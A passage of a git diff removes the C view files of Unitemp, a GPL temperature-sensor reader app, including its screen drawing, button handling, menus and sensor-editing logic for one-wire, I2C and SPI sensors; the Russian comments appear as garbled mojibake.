UT_DATA_TYPE_TEMP_HUM_PRESS: - _draw_temperature( - canvas, - unitemp_sensor_getActive(generalview_sensor_index), - temp_positions[2][0], - temp_positions[2][1], - ColorWhite); - _draw_humidity( - canvas, unitemp_sensor_getActive(generalview_sensor_index), hum_positions[1]); - _draw_pressure(canvas, unitemp_sensor_getActive(generalview_sensor_index)); - break; - case UT_DATA_TYPE_TEMP_HUM_CO2: - _draw_temperature( - canvas, - unitemp_sensor_getActive(generalview_sensor_index), - temp_positions[2][0], - temp_positions[2][1], - ColorWhite); - _draw_humidity( - canvas, unitemp_sensor_getActive(generalview_sensor_index), hum_positions[1]); - _draw_co2(canvas, unitemp_sensor_getActive(generalview_sensor_index), ColorWhite); - break; - } -} - -//TODO: Оптимизировать вывод информации -static void _draw_carousel_info(Canvas* canvas) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 10, 23, "Type:"); - - if(unitemp_sensor_getActive(generalview_sensor_index)->type->interface == &ONE_WIRE) { - OneWireSensor* s = unitemp_sensor_getActive(generalview_sensor_index)->instance; - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 10, 35, "GPIO:"); - canvas_draw_str(canvas, 10, 47, "ID:"); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str( - canvas, - 41, - 23, - unitemp_onewire_sensor_getModel(unitemp_sensor_getActive(generalview_sensor_index))); - canvas_draw_str(canvas, 41, 35, s->bus->gpio->name); - snprintf( - app->buff, - BUFF_SIZE, - "%02X%02X%02X%02X%02X%02X%02X%02X", - s->deviceID[0], - s->deviceID[1], - s->deviceID[2], - s->deviceID[3], - s->deviceID[4], - s->deviceID[5], - s->deviceID[6], - s->deviceID[7]); - canvas_draw_str(canvas, 24, 47, app->buff); - } - - if(unitemp_sensor_getActive(generalview_sensor_index)->type->interface == &SINGLE_WIRE) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 10, 35, "GPIO:"); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str( - canvas, 41, 23, unitemp_sensor_getActive(generalview_sensor_index)->type->typename); - canvas_draw_str( - canvas, - 41, - 35, - ((SingleWireSensor*)unitemp_sensor_getActive(generalview_sensor_index)->instance) - ->gpio->name); - } - - if(unitemp_sensor_getActive(generalview_sensor_index)->type->interface == &SPI) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 10, 35, "MISO pin:"); - canvas_draw_str(canvas, 10, 46, "CS pin:"); - canvas_draw_str(canvas, 10, 58, "SCK pin:"); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str( - canvas, 41, 23, unitemp_sensor_getActive(generalview_sensor_index)->type->typename); - canvas_draw_str(canvas, 60, 35, unitemp_gpio_getFromInt(3)->name); - canvas_draw_str( - canvas, - 47, - 46, - ((SPISensor*)unitemp_sensor_getActive(generalview_sensor_index)->instance) - ->CS_pin->name); - canvas_draw_str(canvas, 54, 58, unitemp_gpio_getFromInt(5)->name); - } - - if(unitemp_sensor_getActive(generalview_sensor_index)->type->interface == &I2C) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 10, 35, "I2C addr:"); - canvas_draw_str(canvas, 10, 46, "SDA pin:"); - canvas_draw_str(canvas, 10, 58, "SCL pin:"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str( - canvas, 41, 23, unitemp_sensor_getActive(generalview_sensor_index)->type->typename); - snprintf( - app->buff, - BUFF_SIZE, - "0x%02X", - ((I2CSensor*)unitemp_sensor_getActive(generalview_sensor_index)->instance) - ->currentI2CAdr >> - 1); - canvas_draw_str(canvas, 57, 35, app->buff); - canvas_draw_str(canvas, 54, 46, "15 (C1)"); - canvas_draw_str(canvas, 54, 58, "16 (C0)"); - } -} -static void _draw_view_sensorsCarousel(Canvas* canvas) { - //РиÑование рамки - canvas_draw_rframe(canvas, 0, 0, 128, 63, 7); - canvas_draw_rframe(canvas, 0, 0, 128, 64, 7); - - //Печать имени - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, - 64, - 7, - AlignCenter, - AlignCenter, - unitemp_sensor_getActive(generalview_sensor_index)->name); - //Подчёркивание - uint8_t line_len = - canvas_string_width(canvas, unitemp_sensor_getActive(generalview_sensor_index)->name) + 2; - canvas_draw_line(canvas, 64 - line_len / 2, 12, 64 + line_len / 2, 12); - - //Стрелка вправо - if(unitemp_sensors_getTypesCount() > 0 && - generalview_sensor_index < unitemp_sensors_getActiveCount() - 1) { - canvas_draw_icon(canvas, 122, 29, &I_ButtonRight_4x7); - } - //Стрелка влево - if(generalview_sensor_index > 0) { - canvas_draw_icon(canvas, 2, 29, &I_ButtonLeft_4x7); - } - - switch(carousel_info_selector) { - case CAROUSEL_VALUES: - _draw_carousel_values(canvas); - break; - case CAROUSEL_INFO: - _draw_carousel_info(canvas); - break; - } -} - -static void _draw_callback(Canvas* canvas, void* _model) { - UNUSED(_model); - - app->sensors_ready = true; - - uint8_t sensors_count = unitemp_sensors_getActiveCount(); - - if(generalview_sensor_index + 1 > sensors_count) generalview_sensor_index = 0; - - if(sensors_count == 0) { - current_view = G_NO_SENSORS_VIEW; - _draw_view_noSensors(canvas); - } else { - if(sensors_count == 1) current_view = G_CAROUSEL_VIEW; - if(current_view == G_NO_SENSORS_VIEW) current_view = G_CAROUSEL_VIEW; - if(current_view == G_LIST_VIEW) _draw_view_sensorsList(canvas); - if(current_view == G_CAROUSEL_VIEW) _draw_view_sensorsCarousel(canvas); - } -} - -static bool _input_callback(InputEvent* event, void* context) { - UNUSED(context); - - //Обработка короткого Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ "ок" - if(event->key == InputKeyOk && event->type == InputTypeShort) { - //Меню Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° при их отÑутÑтвии - if(current_view == G_NO_SENSORS_VIEW) { - app->sensors_ready = false; - unitemp_SensorsList_switch(); - } else if(current_view == G_LIST_VIEW) { - //Переход в главное меню при выключенном Ñелекторе - app->sensors_ready = false; - unitemp_MainMenu_switch(); - } else if(current_view == G_CAROUSEL_VIEW) { - app->sensors_ready = false; - unitemp_SensorActions_switch(unitemp_sensor_getActive(generalview_sensor_index)); - } - } - - //Обработка короткого Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ "вниз" - if(event->key == InputKeyDown && event->type == InputTypeShort) { - //Переход из значений в информацию в каруÑели - if(current_view == G_CAROUSEL_VIEW && carousel_info_selector == CAROUSEL_VALUES) { - carousel_info_selector = CAROUSEL_INFO; - return true; - } - //Переход в каруÑель из ÑпиÑка - if(current_view == G_LIST_VIEW) { - current_view = G_CAROUSEL_VIEW; - return true; - } - } - - //Обработка короткого Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ "вверх" - if(event->key == InputKeyUp && event->type == InputTypeShort) { - //Переход из информации в Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² каруÑели - if(current_view == G_CAROUSEL_VIEW && carousel_info_selector == CAROUSEL_INFO) { - carousel_info_selector = CAROUSEL_VALUES; - return true; - } - //Переход в ÑпиÑок из каруÑели - if(current_view == G_CAROUSEL_VIEW && carousel_info_selector == CAROUSEL_VALUES && - unitemp_sensors_getActiveCount() > 1) { - current_view = G_LIST_VIEW; - return true; - } - } - - //Обработка короткого Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ "вправо" - if(event->key == InputKeyRight && event->type == InputTypeShort) { - //ПролиÑтывание каруÑели вперёд - if(current_view == G_CAROUSEL_VIEW) { - if(++generalview_sensor_index >= unitemp_sensors_getActiveCount()) { - generalview_sensor_index = 0; - if(carousel_info_selector == CAROUSEL_VALUES) current_view = G_LIST_VIEW; - } - - return true; - } - //ПролиÑтывание ÑпиÑка вперёд - if(current_view == G_LIST_VIEW) { - generalview_sensor_index += 4; - if(generalview_sensor_index >= unitemp_sensors_getActiveCount()) { - generalview_sensor_index = 0; - current_view = G_CAROUSEL_VIEW; - } - return true; - } - } - - //Обработка короткого Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ "влево" - if(event->key == InputKeyLeft && event->type == InputTypeShort) { - //ПролиÑтывание каруÑели назад - if(current_view == G_CAROUSEL_VIEW) { - if(--generalview_sensor_index >= unitemp_sensors_getActiveCount()) { - generalview_sensor_index = unitemp_sensors_getActiveCount() - 1; - if(carousel_info_selector == CAROUSEL_VALUES) current_view = G_LIST_VIEW; - } - - return true; - } - //ПролиÑтывание ÑпиÑка назад - if(current_view == G_LIST_VIEW) { - generalview_sensor_index -= 4; - if(generalview_sensor_index >= unitemp_sensors_getActiveCount()) { - generalview_sensor_index = unitemp_sensors_getActiveCount() - 1; - current_view = G_CAROUSEL_VIEW; - } - - return true; - } - } - - //Обработка короткого Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ "назад" - if(event->key == InputKeyBack && event->type == InputTypeShort) { - //Выход из Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¸ каруÑели или отÑутÑтвии датчиков - if(current_view == G_NO_SENSORS_VIEW || - ((current_view == G_CAROUSEL_VIEW) && (carousel_info_selector == CAROUSEL_VALUES))) { - app->processing = false; - return true; - } - //Переключение Ñелектора вида каруÑели - if((current_view == G_CAROUSEL_VIEW) && (carousel_info_selector != CAROUSEL_VALUES)) { - carousel_info_selector = CAROUSEL_VALUES; - return true; - } - //Переход в каруÑель из ÑпиÑка - if(current_view == G_LIST_VIEW) { - current_view = G_CAROUSEL_VIEW; - return true; - } - } - //Обработка длинного Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ "Ок" - if(event->key == InputKeyOk && event->type == InputTypeLong) { - app->settings.temp_unit = !app->settings.temp_unit; - } - - return true; -} - -void unitemp_General_alloc(void) { - view = view_alloc(); - view_set_context(view, app); - view_set_draw_callback(view, _draw_callback); - view_set_input_callback(view, _input_callback); - - view_dispatcher_add_view(app->view_dispatcher, UnitempViewGeneral, view); -} - -void unitemp_General_switch(void) { - app->sensors_ready = true; - view_dispatcher_switch_to_view(app->view_dispatcher, UnitempViewGeneral); -} - -void unitemp_General_free(void) { - view_dispatcher_remove_view(app->view_dispatcher, UnitempViewGeneral); - view_free(view); -} diff --git a/applications/external/unitemp/views/MainMenu_view.c b/applications/external/unitemp/views/MainMenu_view.c deleted file mode 100644 index bfd0cb0cf..000000000 --- a/applications/external/unitemp/views/MainMenu_view.c +++ /dev/null @@ -1,99 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "UnitempViews.h" -#include - -//Текущий вид -static View* view; -//СпиÑок -static VariableItemList* variable_item_list; - -#define VIEW_ID UnitempViewMainMenu - -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ ÐºÐ½Ð¾Ð¿ÐºÐ¸ "Ðазад" - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @return ID вида в который нужно переключитьÑÑ - */ -static uint32_t _exit_callback(void* context) { - UNUSED(context); - //Возврат в общий вид - return UnitempViewGeneral; -} -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ Ñредней кнопки - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @param index Ðа каком Ñлементе ÑпиÑка была нажата кнопка - */ -static void _enter_callback(void* context, uint32_t index) { - UNUSED(context); - if(index == 0) { //Add new sensor - unitemp_SensorsList_switch(); - } - if(index == 1) { //Settings - unitemp_Settings_switch(); - } - if(index == 2) { - unitemp_widget_help_switch(); - } - if(index == 3) { - unitemp_widget_about_switch(); - } -} - -/** - * @brief Создание ÑпиÑка дейÑтвий Ñ ÑƒÐºÐ°Ð·Ð°Ð½Ð½Ñ‹Ð¼ датчиком - */ -void unitemp_MainMenu_alloc(void) { - variable_item_list = variable_item_list_alloc(); - //Ð¡Ð±Ñ€Ð¾Ñ Ð²Ñех Ñлементов меню - variable_item_list_reset(variable_item_list); - - variable_item_list_add(variable_item_list, "Add new sensor", 1, NULL, NULL); - variable_item_list_add(variable_item_list, "Settings", 1, NULL, NULL); - variable_item_list_add(variable_item_list, "Help", 1, NULL, NULL); - variable_item_list_add(variable_item_list, "About", 1, NULL, NULL); - - //Добавление колбека на нажатие Ñредней кнопки - variable_item_list_set_enter_callback(variable_item_list, _enter_callback, app); - - //Создание вида из ÑпиÑка - view = variable_item_list_get_view(variable_item_list); - //Добавление колбека на нажатие кнопки "Ðазад" - view_set_previous_callback(view, _exit_callback); - //Добавление вида в диÑпетчер - view_dispatcher_add_view(app->view_dispatcher, VIEW_ID, view); -} - -void unitemp_MainMenu_switch(void) { - //Обнуление поÑледнего выбранного пункта - variable_item_list_set_selected_item(variable_item_list, 0); - //Переключение в вид - view_dispatcher_switch_to_view(app->view_dispatcher, VIEW_ID); -} - -void unitemp_MainMenu_free(void) { - //ОчиÑтка ÑпиÑка Ñлементов - variable_item_list_free(variable_item_list); - //ОчиÑтка вида - view_free(view); - //Удаление вида поÑле обработки - view_dispatcher_remove_view(app->view_dispatcher, VIEW_ID); -} \ No newline at end of file diff --git a/applications/external/unitemp/views/Popup_view.c b/applications/external/unitemp/views/Popup_view.c deleted file mode 100644 index efa7e7ffa..000000000 --- a/applications/external/unitemp/views/Popup_view.c +++ /dev/null @@ -1,49 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "UnitempViews.h" -#include -#include - -uint32_t _prev_view_id; - -#define VIEW_ID UnitempViewPopup - -static void _popup_callback(void* context) { - UNUSED(context); - view_dispatcher_switch_to_view(app->view_dispatcher, _prev_view_id); -} - -void unitemp_popup(const Icon* icon, char* header, char* message, uint32_t prev_view_id) { - _prev_view_id = prev_view_id; - popup_reset(app->popup); - popup_set_icon(app->popup, 0, 64 - icon_get_height(icon), icon); - popup_set_header(app->popup, header, 64, 6, AlignCenter, AlignCenter); - popup_set_text( - app->popup, - message, - (128 - icon_get_width(icon)) / 2 + icon_get_width(icon), - 32, - AlignCenter, - AlignCenter); - - popup_set_timeout(app->popup, 5000); - popup_set_callback(app->popup, _popup_callback); - popup_enable_timeout(app->popup); - - view_dispatcher_switch_to_view(app->view_dispatcher, VIEW_ID); -} \ No newline at end of file diff --git a/applications/external/unitemp/views/SensorActions_view.c b/applications/external/unitemp/views/SensorActions_view.c deleted file mode 100644 index 1d1a83076..000000000 --- a/applications/external/unitemp/views/SensorActions_view.c +++ /dev/null @@ -1,125 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "UnitempViews.h" -#include -#include - -//Текущий вид -static View* view; -//СпиÑок -static VariableItemList* variable_item_list; -//Текущий датчик -static Sensor* current_sensor; - -typedef enum carousel_info { - CAROUSEL_VALUES, //Отображение значений датчиков - CAROUSEL_INFO, //Отображение информации о датчике -} carousel_info; -extern carousel_info carousel_info_selector; - -#define VIEW_ID UnitempViewSensorActions - -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ ÐºÐ½Ð¾Ð¿ÐºÐ¸ "Ðазад" - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @return ID вида в который нужно переключитьÑÑ - */ -static uint32_t _exit_callback(void* context) { - UNUSED(context); - - //Возврат предыдущий вид - return UnitempViewGeneral; -} -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ Ñредней кнопки - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @param index Ðа каком Ñлементе ÑпиÑка была нажата кнопка - */ -static void _enter_callback(void* context, uint32_t index) { - UNUSED(context); - switch(index) { - case 0: - carousel_info_selector = CAROUSEL_INFO; - unitemp_General_switch(); - return; - case 1: - unitemp_SensorEdit_switch(current_sensor); - break; - case 2: - unitemp_widget_delete_switch(current_sensor); - break; - case 3: - unitemp_SensorsList_switch(); - break; - case 4: - unitemp_Settings_switch(); - break; - case 5: - unitemp_widget_help_switch(); - break; - case 6: - unitemp_widget_about_switch(); - break; - } -} - -/** - * @brief Создание меню дейÑтвий Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ¾Ð¼ - */ -void unitemp_SensorActions_alloc(void) { - variable_item_list = variable_item_list_alloc(); - //Ð¡Ð±Ñ€Ð¾Ñ Ð²Ñех Ñлементов меню - variable_item_list_reset(variable_item_list); - - variable_item_list_add(variable_item_list, "Info", 1, NULL, NULL); - variable_item_list_add(variable_item_list, "Edit", 1, NULL, NULL); - variable_item_list_add(variable_item_list, "Delete", 1, NULL, NULL); - - variable_item_list_add(variable_item_list, "Add new sensor", 1, NULL, NULL); - variable_item_list_add(variable_item_list, "Settings", 1, NULL, NULL); - variable_item_list_add(variable_item_list, "Help", 1, NULL, NULL); - variable_item_list_add(variable_item_list, "About", 1, NULL, NULL); - - //Добавление колбека на нажатие Ñредней кнопки - variable_item_list_set_enter_callback(variable_item_list, _enter_callback, app); - //Создание вида из ÑпиÑка - view = variable_item_list_get_view(variable_item_list); - //Добавление колбека на нажатие кнопки "Ðазад" - view_set_previous_callback(view, _exit_callback); - //Добавление вида в диÑпетчер - view_dispatcher_add_view(app->view_dispatcher, VIEW_ID, view); -} - -void unitemp_SensorActions_switch(Sensor* sensor) { - current_sensor = sensor; - //Обнуление поÑледнего выбранного пункта - variable_item_list_set_selected_item(variable_item_list, 0); - - view_dispatcher_switch_to_view(app->view_dispatcher, VIEW_ID); -} - -void unitemp_SensorActions_free(void) { - //ОчиÑтка ÑпиÑка Ñлементов - variable_item_list_free(variable_item_list); - //ОчиÑтка вида - view_free(view); - //Удаление вида поÑле обработки - view_dispatcher_remove_view(app->view_dispatcher, VIEW_ID); -} \ No newline at end of file diff --git a/applications/external/unitemp/views/SensorEdit_view.c b/applications/external/unitemp/views/SensorEdit_view.c deleted file mode 100644 index c1ac4c028..000000000 --- a/applications/external/unitemp/views/SensorEdit_view.c +++ /dev/null @@ -1,383 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "UnitempViews.h" -#include - -#include "../interfaces/SingleWireSensor.h" -#include "../interfaces/OneWireSensor.h" -#include "../interfaces/I2CSensor.h" - -//Текущий вид -static View* view; -//СпиÑок -static VariableItemList* variable_item_list; -//Текущий редактируемый датчик -static Sensor* editable_sensor; -//Изначальный GPIO датчика -static const GPIO* initial_gpio = NULL; - -//Элемент ÑпиÑка - Ð¸Ð¼Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° -static VariableItem* sensor_name_item; -//Элемент ÑпиÑка - Ð°Ð´Ñ€ÐµÑ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° one wire -static VariableItem* onewire_addr_item; -//Элемент ÑпиÑка - Ð°Ð´Ñ€ÐµÑ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° one wire -static VariableItem* onewire_type_item; -//Элемент ÑпиÑка - Ñмещение температуры -VariableItem* temp_offset_item; - -#define OFFSET_BUFF_SIZE 5 -//Буффер Ð´Ð»Ñ Ñ‚ÐµÐºÑта ÑÐ¼ÐµÑ‰ÐµÐ½Ð¸Ñ -static char* offset_buff; - -extern uint8_t generalview_sensor_index; - -#define VIEW_ID UnitempViewSensorEdit - -bool _onewire_id_exist(uint8_t* id) { - if(id == NULL) return false; - for(uint8_t i = 0; i < unitemp_sensors_getActiveCount(); i++) { - if(unitemp_sensor_getActive(i)->type == &Dallas) { - if(unitemp_onewire_id_compare( - id, ((OneWireSensor*)(unitemp_sensor_getActive(i)->instance))->deviceID)) { - return true; - } - } - } - return false; -} - -static void _onewire_scan(void) { - OneWireSensor* ow_sensor = editable_sensor->instance; - - UNITEMP_DEBUG( - "devices on wire %d: %d", ow_sensor->bus->gpio->num, ow_sensor->bus->device_count); - - //Сканирование шины one wire - unitemp_onewire_bus_init(ow_sensor->bus); - uint8_t* id = NULL; - do { - id = unitemp_onewire_bus_enum_next(ow_sensor->bus); - } while(_onewire_id_exist(id)); - - if(id == NULL) { - unitemp_onewire_bus_enum_init(ow_sensor->bus); - id = unitemp_onewire_bus_enum_next(ow_sensor->bus); - if(_onewire_id_exist(id)) { - do { - id = unitemp_onewire_bus_enum_next(ow_sensor->bus); - } while(_onewire_id_exist(id) && id != NULL); - } - if(id == NULL) { - memset(ow_sensor->deviceID, 0, 8); - ow_sensor->familyCode = 0; - unitemp_onewire_bus_deinit(ow_sensor->bus); - variable_item_set_current_value_text(onewire_addr_item, "empty"); - variable_item_set_current_value_text( - onewire_type_item, unitemp_onewire_sensor_getModel(editable_sensor)); - return; - } - } - - unitemp_onewire_bus_deinit(ow_sensor->bus); - - memcpy(ow_sensor->deviceID, id, 8); - ow_sensor->familyCode = id[0]; - - UNITEMP_DEBUG( - "Found sensor's ID: %02X%02X%02X%02X%02X%02X%02X%02X", - id[0], - id[1], - id[2], - id[3], - id[4], - id[5], - id[6], - id[7]); - - if(ow_sensor->familyCode != 0) { - char id_buff[10]; - snprintf( - id_buff, - 10, - "%02X%02X%02X", - ow_sensor->deviceID[1], - ow_sensor->deviceID[2], - ow_sensor->deviceID[3]); - //Рбольше не лезет( - variable_item_set_current_value_text(onewire_addr_item, id_buff); - } else { - variable_item_set_current_value_text(onewire_addr_item, "empty"); - } - variable_item_set_current_value_text( - onewire_type_item, unitemp_onewire_sensor_getModel(editable_sensor)); -} - -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ ÐºÐ½Ð¾Ð¿ÐºÐ¸ "Ðазад" - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @return ID вида в который нужно переключитьÑÑ - */ -static uint32_t _exit_callback(void* context) { - UNUSED(context); - editable_sensor->status = UT_SENSORSTATUS_TIMEOUT; - if(!unitemp_sensor_isContains(editable_sensor)) unitemp_sensor_free(editable_sensor); - unitemp_sensors_reload(); - //Возврат предыдущий вид - return UnitempViewGeneral; -} -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ Ñредней кнопки - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @param index Ðа каком Ñлементе ÑпиÑка была нажата кнопка - */ -static void _enter_callback(void* context, uint32_t index) { - UNUSED(context); - //Смена имени - if(index == 0) { - unitemp_SensorNameEdit_switch(editable_sensor); - } - //Сохранение - if((index == 4 && editable_sensor->type->interface != &ONE_WIRE) || - (index == 5 && editable_sensor->type->interface == &ONE_WIRE)) { - //Выход еÑли датчик one wire не имеет ID - if(editable_sensor->type->interface == &ONE_WIRE && - ((OneWireSensor*)(editable_sensor->instance))->familyCode == 0) { - return; - } - if(initial_gpio != NULL) { - unitemp_gpio_unlock(initial_gpio); - initial_gpio = NULL; - } - editable_sensor->status = UT_SENSORSTATUS_TIMEOUT; - if(!unitemp_sensor_isContains(editable_sensor)) unitemp_sensors_add(editable_sensor); - unitemp_sensors_save(); - unitemp_sensors_reload(); - - generalview_sensor_index = unitemp_sensors_getActiveCount() - 1; - unitemp_General_switch(); - } - - //ÐÐ´Ñ€ÐµÑ ÑƒÑтройÑтва на шине one wire - if(index == 4 && editable_sensor->type->interface == &ONE_WIRE) { - _onewire_scan(); - } -} - -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ GPIO - * - * @param item Указатель на Ñлемент ÑпиÑка - */ -static void _gpio_change_callback(VariableItem* item) { - uint8_t index = variable_item_get_current_value_index(item); - if(editable_sensor->type->interface == &SINGLE_WIRE) { - SingleWireSensor* instance = editable_sensor->instance; - instance->gpio = - unitemp_gpio_getAviablePort(editable_sensor->type->interface, index, initial_gpio); - variable_item_set_current_value_text(item, instance->gpio->name); - } - if(editable_sensor->type->interface == &SPI) { - SPISensor* instance = editable_sensor->instance; - instance->CS_pin = - unitemp_gpio_getAviablePort(editable_sensor->type->interface, index, initial_gpio); - variable_item_set_current_value_text(item, instance->CS_pin->name); - } - if(editable_sensor->type->interface == &ONE_WIRE) { - OneWireSensor* instance = editable_sensor->instance; - instance->bus->gpio = - unitemp_gpio_getAviablePort(editable_sensor->type->interface, index, NULL); - variable_item_set_current_value_text(item, instance->bus->gpio->name); - } -} -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ GPIO - * - * @param item Указатель на Ñлемент ÑпиÑка - */ -static void _i2caddr_change_callback(VariableItem* item) { - uint8_t index = variable_item_get_current_value_index(item); - ((I2CSensor*)editable_sensor->instance)->currentI2CAdr = - ((I2CSensor*)editable_sensor->instance)->minI2CAdr + index * 2; - char buff[5]; - snprintf(buff, 5, "0x%2X", ((I2CSensor*)editable_sensor->instance)->currentI2CAdr >> 1); - variable_item_set_current_value_text(item, buff); -} -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¸Ð¼ÐµÐ½Ð¸ датчика - * - * @param item Указатель на Ñлемент ÑпиÑка - */ -static void _name_change_callback(VariableItem* item) { - variable_item_set_current_value_index(item, 0); - unitemp_SensorNameEdit_switch(editable_sensor); -} -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð°Ð´Ñ€ÐµÑа датчика one wire - * - * @param item Указатель на Ñлемент ÑпиÑка - */ -static void _onwire_addr_change_callback(VariableItem* item) { - variable_item_set_current_value_index(item, 0); - _onewire_scan(); -} - -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ ÑÐ¼ÐµÑ‰ÐµÐ½Ð¸Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ñ‹ - * - * @param item Указатель на Ñлемент ÑпиÑка - */ -static void _offset_change_callback(VariableItem* item) { - editable_sensor->temp_offset = 